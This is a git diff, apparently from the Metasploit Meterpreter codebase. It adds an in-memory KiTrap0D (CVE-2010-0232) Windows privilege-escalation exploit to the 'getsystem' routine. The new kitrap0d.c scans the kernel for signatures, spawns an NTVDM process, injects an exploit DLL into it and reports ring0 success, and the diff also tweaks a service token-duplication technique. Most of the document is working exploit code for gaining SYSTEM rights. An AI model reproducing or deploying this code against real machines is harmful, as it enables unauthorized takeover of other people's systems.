if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// secondly, try to use the in-memory KiTrap0D exploit (CVE-2010-0232) (Requires Local User rights and vulnerable system)
|
||||
// Note: If successfully, we end up replacing our processes primary token and as such cant rev3self at a later stage.
|
||||
dwTechnique = ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D;
|
||||
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// secondly, try to use the in-memory service token duplication technique (requires SeDebugPrivilege)
|
||||
// thirdly, try to use the in-memory service token duplication technique (Requires Local Admin rights and SeDebugPrivilege)
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_TOKENDUP;
|
||||
dwResult = elevate_via_service_tokendup( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
// thirdly, try to use the touching disk named pipe impersonation technique
|
||||
// fourthly, try to use the touching disk named pipe impersonation technique (Requires Local Admin rights)
|
||||
dwTechnique = ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2;
|
||||
dwResult = elevate_via_service_namedpipe2( remote, packet );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
@ -58,6 +114,9 @@ DWORD elevate_getsystem( Remote * remote, Packet * packet )
|
||||
case ELEVATE_TECHNIQUE_SERVICE_TOKENDUP:
|
||||
dwResult = elevate_via_service_tokendup( remote, packet );
|
||||
break;
|
||||
case ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D:
|
||||
dwResult = elevate_via_exploit_kitrap0d( remote, packet );
|
||||
break;
|
||||
default:
|
||||
dwResult = ERROR_CALL_NOT_IMPLEMENTED;
|
||||
break;
|
||||
|
@ -6,7 +6,17 @@
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE 1
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_NAMEDPIPE2 2
|
||||
#define ELEVATE_TECHNIQUE_SERVICE_TOKENDUP 3
|
||||
#define ELEVATE_TECHNIQUE_VULN_KITRAP0D 4
|
||||
#define ELEVATE_TECHNIQUE_EXPLOIT_KITRAP0D 4
|
||||
|
||||
// from ps.h
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo );
|
||||
|
||||
#define PROCESS_ARCH_UNKNOWN 0
|
||||
#define PROCESS_ARCH_X86 1
|
||||
#define PROCESS_ARCH_X64 2
|
||||
#define PROCESS_ARCH_IA64 3
|
||||
|
||||
DWORD elevate_getnativearch( VOID );
|
||||
|
||||
DWORD elevate_getsystem( Remote * remote, Packet * packet );
|
||||
|
||||
|
356
c/meterpreter/source/extensions/priv/server/elevate/kitrap0d.c
Normal file
356
c/meterpreter/source/extensions/priv/server/elevate/kitrap0d.c
Normal file
@ -0,0 +1,356 @@
|
||||
// A port of HDM's/Pusscat's implementation of Tavis Ormandy's code (vdmallowed.c).
|
||||
// http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
|
||||
|
||||
// Known Bugs:
|
||||
// * Windows NT4 fails to map the NULL page, (exit code 'NTAV').
|
||||
// * Windows 2000 fails to find the VDM_TIB size (something else is wrong)
|
||||
// * Windows 2008 Storage Server has 16-bit applications disabled by default
|
||||
// * Windows 2008 Storage Server is also missing twunk_16.exe, has debug.exe
|
||||
|
||||
#include "precomp.h"
|
||||
#include "kitrap0d.h"
|
||||
#include "../../../../ReflectiveDLLInjection/LoadLibraryR.h"
|
||||
|
||||
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
|
||||
struct CodeSignature CodeSignatures[] = {
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00", 0 }, // Windows NT4
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 1 }, // Windows 2000
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x5F\x8B\x70\x04\xB9\x84\x00\x00\x00\x89", 1 }, // Windows 2000 SP4 Advanced Server
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84", 2 }, // Windows XP
|
||||
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00", 3 }, // Windows 2003
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 3 }, // Windows .NET
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 4 }, // Windows Vista
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 5 }, // Windows 2008
|
||||
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00", 6 }, // Windows 7
|
||||
{ "", -1 }
|
||||
};
|
||||
|
||||
/*
|
||||
* Scan the appropriate kernel image for the correct offset
|
||||
*/
|
||||
BOOL kitrap0d_scan_kernel( PDWORD KernelBase, PDWORD OffsetFromBase )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
FARPROC NtQuerySystemInformation = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
HMODULE hNtdll = NULL;
|
||||
PIMAGE_DOS_HEADER DosHeader = NULL;
|
||||
PIMAGE_NT_HEADERS PeHeader = NULL;
|
||||
PIMAGE_OPTIONAL_HEADER OptHeader = NULL;
|
||||
PBYTE ImageBase = NULL;
|
||||
HKEY MmHandle = NULL;
|
||||
OSVERSIONINFO os = {0};
|
||||
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
|
||||
DWORD PhysicalAddressExtensions = 0;
|
||||
DWORD DataSize = 0;
|
||||
ULONG i = 0;
|
||||
ULONG x = 0;
|
||||
|
||||
// List of versions we have code signatures for.
|
||||
enum {
|
||||
MICROSOFT_WINDOWS_NT4 = 0,
|
||||
MICROSOFT_WINDOWS_2000 = 1,
|
||||
MICROSOFT_WINDOWS_XP = 2,
|
||||
MICROSOFT_WINDOWS_2003 = 3,
|
||||
MICROSOFT_WINDOWS_VISTA = 4,
|
||||
MICROSOFT_WINDOWS_2008 = 5,
|
||||
MICROSOFT_WINDOWS_7 = 6,
|
||||
} Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
do
|
||||
{
|
||||
hNtdll = GetModuleHandle("ntdll");
|
||||
if( !hNtdll )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetModuleHandle ntdll failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// NtQuerySystemInformation can be used to find kernel base address
|
||||
NtQuerySystemInformation = GetProcAddress( hNtdll, "NtQuerySystemInformation" );
|
||||
if( !NtQuerySystemInformation )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetProcAddress NtQuerySystemInformation failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// Determine kernel version so that the correct code signature is used
|
||||
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
||||
if( !GetVersionEx( &os ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx failed" );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. GetVersionEx() => %u.%u", os.dwMajorVersion, os.dwMinorVersion);
|
||||
|
||||
if( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_NT4;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_2000;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 1 )
|
||||
Version = MICROSOFT_WINDOWS_XP;
|
||||
if( os.dwMajorVersion == 5 && os.dwMinorVersion == 2 )
|
||||
Version = MICROSOFT_WINDOWS_2003;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_VISTA;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 0 )
|
||||
Version = MICROSOFT_WINDOWS_2008;
|
||||
if( os.dwMajorVersion == 6 && os.dwMinorVersion == 1 )
|
||||
Version = MICROSOFT_WINDOWS_7;
|
||||
|
||||
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
|
||||
NtQuerySystemInformation( SystemModuleInformation, &ModuleInfo, sizeof( ModuleInfo ), NULL );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. NtQuerySystemInformation() => %s@%p", ModuleInfo.Module[0].ImageName, ModuleInfo.Module[0].Base );
|
||||
|
||||
// Load the kernel image specified
|
||||
hKernel = LoadLibrary( strrchr( ModuleInfo.Module[0].ImageName, '\\' ) + 1 );
|
||||
if( !hKernel )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_scan_kernel. LoadLibrary failed" );
|
||||
|
||||
// Parse image headers
|
||||
*KernelBase = (DWORD)ModuleInfo.Module[0].Base;
|
||||
ImageBase = (PBYTE)hKernel;
|
||||
DosHeader = (PIMAGE_DOS_HEADER)ImageBase;
|
||||
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
|
||||
OptHeader = &PeHeader->OptionalHeader;
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Searching for kernel %u.%u signature: version %d...", os.dwMajorVersion, os.dwMinorVersion, Version );
|
||||
|
||||
for( x=0 ; ; x++ )
|
||||
{
|
||||
if( CodeSignatures[x].Version == -1 )
|
||||
break;
|
||||
|
||||
if( CodeSignatures[x].Version != Version )
|
||||
continue;
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Trying signature with index %d", x );
|
||||
|
||||
// Scan for the appropriate signature...
|
||||
for( i = OptHeader->BaseOfCode ; i < OptHeader->SizeOfCode ; i++ )
|
||||
{
|
||||
if( memcmp( &ImageBase[i], CodeSignatures[x].Signature, sizeof CodeSignatures[x].Signature ) == 0 )
|
||||
{
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Signature found %#x bytes from kernel base", i );
|
||||
|
||||
*OffsetFromBase = i;
|
||||
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_scan_kernel. Code not found, the signatures need to be updated for this kernel" );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Grab a useful Handle to NTVDM.
|
||||
*/
|
||||
BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
STARTUPINFO si = {0};
|
||||
ULONG i = 0;
|
||||
|
||||
do
|
||||
{
|
||||
si.cb = sizeof( STARTUPINFO );
|
||||
|
||||
// Start the child process, which should invoke NTVDM...
|
||||
if( !CreateProcess( cpProgram, cpProgram, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess failed" );
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. CreateProcess(\"%s\") => %u", cpProgram, pi.dwProcessId );
|
||||
|
||||
// Get more access
|
||||
*hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_TERMINATE, FALSE, pi.dwProcessId );
|
||||
if( *hProcess == NULL )
|
||||
{
|
||||
TerminateProcess( pi.hProcess, 'SPWN' );
|
||||
CloseHandle( pi.hThread );
|
||||
CloseHandle( pi.hProcess );
|
||||
BREAK_ON_ERROR( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess failed" );
|
||||
}
|
||||
|
||||
dprintf( "[KITRAP0D] kitrap0d_spawn_ntvdm. OpenProcess(%u) => %#x", pi.dwProcessId, *hProcess );
|
||||
|
||||
CloseHandle( pi.hThread );
|
||||
|
||||
CloseHandle( pi.hProcess );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* Find a suitable exe to host the exploit in.
|
||||
*/
|
||||
BOOL elevate_via_exploit_getpath( char * cpOutput, DWORD dwOutputLength )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
char cWinDir[MAX_PATH] = {0};
|
||||
DWORD dwIndex = 0;
|
||||
char * cpFiles[] = { "twunk_16.exe",
|
||||
"debug.exe",
|
||||
"system32\\debug.exe",
|
||||
NULL };
|
||||
|
||||
do
|
||||
{
|
||||
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
|
||||
|
||||
while( TRUE )
|
||||
{
|
||||
char * cpFileName = cpFiles[dwIndex];
|
||||
if( !cpFileName )
|
||||
break;
|
||||
|
||||
if( cWinDir[ strlen(cWinDir) - 1 ] == '\\' )
|
||||
_snprintf( cpOutput, dwOutputLength, "%s%s", cWinDir, cpFileName );
|
||||
else
|
||||
_snprintf( cpOutput, dwOutputLength, "%s\\%s", cWinDir, cpFileName );
|
||||
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
|
||||
|
||||
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
|
||||
return TRUE;
|
||||
|
||||
memset( cpOutput, 0, dwOutputLength );
|
||||
|
||||
dwIndex++;
|
||||
}
|
||||
|
||||
} while(0);
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*
|
||||
* (CVE-2010-0232)
|
||||
*/
|
||||
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
HANDLE hVdm = NULL;
|
||||
HANDLE hThread = NULL;
|
||||
LPVOID lpServiceBuffer = NULL;
|
||||
LPVOID lpRemoteCommandLine = NULL;
|
||||
char cWinDir[MAX_PATH] = {0};
|
||||
char cVdmPath[MAX_PATH] = {0};
|
||||
char cCommandLine[MAX_PATH] = {0};
|
||||
DWORD dwExitCode = 0;
|
||||
DWORD dwKernelBase = 0;
|
||||
DWORD dwOffset = 0;
|
||||
DWORD dwServiceLength = 0;
|
||||
|
||||
do
|
||||
{
|
||||
// only works on x86 systems...
|
||||
if( elevate_getnativearch() != PROCESS_ARCH_X86 )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT );
|
||||
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." );
|
||||
|
||||
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
|
||||
lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );
|
||||
|
||||
if( !dwServiceLength || !lpServiceBuffer )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS );
|
||||
|
||||
// 1. first get a file path to a suitable exe...
|
||||
if( !elevate_via_exploit_getpath( (char *)&cVdmPath, MAX_PATH ) )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND );
|
||||
|
||||
// 2. Scan kernel image for the required code sequence, and find the base address...
|
||||
if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...
|
||||
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" );
|
||||
|
||||
if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );
|
||||
|
||||
// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
|
||||
// Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.
|
||||
|
||||
_snprintf( cCommandLine, sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset );
|
||||
|
||||
// alloc some space and write the commandline which we will pass to the injected dll...
|
||||
lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
|
||||
if( !lpRemoteCommandLine )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" );
|
||||
|
||||
if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" );
|
||||
|
||||
// inject the dll...
|
||||
hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
|
||||
if( !hThread )
|
||||
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" );
|
||||
|
||||
// 5. Wait for the thread to complete
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
|
||||
WaitForSingleObject( hThread, INFINITE );
|
||||
|
||||
// pass some information back via the exit code to indicate what happened.
|
||||
GetExitCodeThread( hThread, &dwExitCode );
|
||||
|
||||
dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
|
||||
|
||||
switch( dwExitCode )
|
||||
{
|
||||
case 'VTIB':
|
||||
// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
|
||||
// matches what the kernel expects.
|
||||
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
|
||||
case 'NTAV':
|
||||
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
|
||||
// expects to be present.
|
||||
// The exploit thread reports it didn't work.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
|
||||
case 'VDMC':
|
||||
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
|
||||
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
|
||||
// it's failing.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
|
||||
case 'LPID':
|
||||
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
|
||||
// unprivileged process owned by you.
|
||||
// PsLookupProcessByProcessId() failed when trying to find your process.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
|
||||
case FALSE:
|
||||
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
|
||||
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
|
||||
case 'w00t':
|
||||
// This means the exploit payload was executed at ring0 and succeeded.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
|
||||
default:
|
||||
// Unknown error. Sorry, you're on your own.
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hVdm )
|
||||
{
|
||||
TerminateProcess( hVdm, 0 );
|
||||
CloseHandle( hVdm );
|
||||
}
|
||||
|
||||
if( hThread )
|
||||
CloseHandle( hThread );
|
||||
|
||||
return dwResult;
|
||||
}
|
@ -0,0 +1,36 @@
|
||||
#ifndef _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_KITRAP0D_H
|
||||
#define _METERPRETER_SOURCE_EXTENSION_PRIV_PRIV_SERVER_ELEVATE_TECHNIQUES_KITRAP0D_H
|
||||
|
||||
#define PAGE_SIZE 0x1000
|
||||
|
||||
enum { SystemModuleInformation = 11 };
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Unknown1;
|
||||
ULONG Unknown2;
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT NameLength;
|
||||
USHORT LoadCount;
|
||||
USHORT PathLength;
|
||||
CHAR ImageName[256];
|
||||
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
ULONG Count;
|
||||
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
|
||||
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct CodeSignature
|
||||
{
|
||||
UCHAR Signature[16];
|
||||
DWORD Version;
|
||||
};
|
||||
|
||||
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet );
|
||||
|
||||
#endif
|
@ -50,7 +50,7 @@ BOOL elevate_priv( char * cpPrivilege, BOOL bEnable )
|
||||
* service process from a non elevated admin.
|
||||
*
|
||||
* A current limitation in LoadRemoteLibraryR prevents this from working across
|
||||
* architectures so we just filter out running this from an x64 process for now.
|
||||
* architectures so we just filter out running this from an x64 platform for now.
|
||||
*/
|
||||
DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
|
||||
{
|
||||
@ -73,25 +73,21 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
|
||||
DWORD index = 0;
|
||||
DWORD dwServicesReturned = 0;
|
||||
DWORD dwExitCode = 0;
|
||||
#ifdef _WIN64
|
||||
DWORD dwMeterpreterArch = 2;
|
||||
#else
|
||||
DWORD dwMeterpreterArch = 1;
|
||||
#endif
|
||||
|
||||
do
|
||||
{
|
||||
// only works on x86 systems for now...
|
||||
if( elevate_getnativearch() != PROCESS_ARCH_X86 )
|
||||
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT );
|
||||
|
||||
os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO );
|
||||
|
||||
if( !GetVersionEx( &os ) )
|
||||
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" )
|
||||
|
||||
// filter out Windows NT4 or running this from native x64
|
||||
if ( ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) || dwMeterpreterArch == 2 )
|
||||
{
|
||||
SetLastError( ERROR_ACCESS_DENIED );
|
||||
BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform." )
|
||||
}
|
||||
// filter out Windows NT4
|
||||
if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 )
|
||||
BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT )
|
||||
|
||||
cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME );
|
||||
dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
|
||||
@ -145,7 +141,7 @@ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet )
|
||||
|
||||
dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId );
|
||||
|
||||
_snprintf( cCommandLine, sizeof(cCommandLine), "/t:%d\x00", GetCurrentThreadId() );
|
||||
_snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() );
|
||||
|
||||
// alloc some space and write the commandline which we will pass to the injected dll...
|
||||
lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
|
||||
|
Loading…
Reference in New Issue
Block a user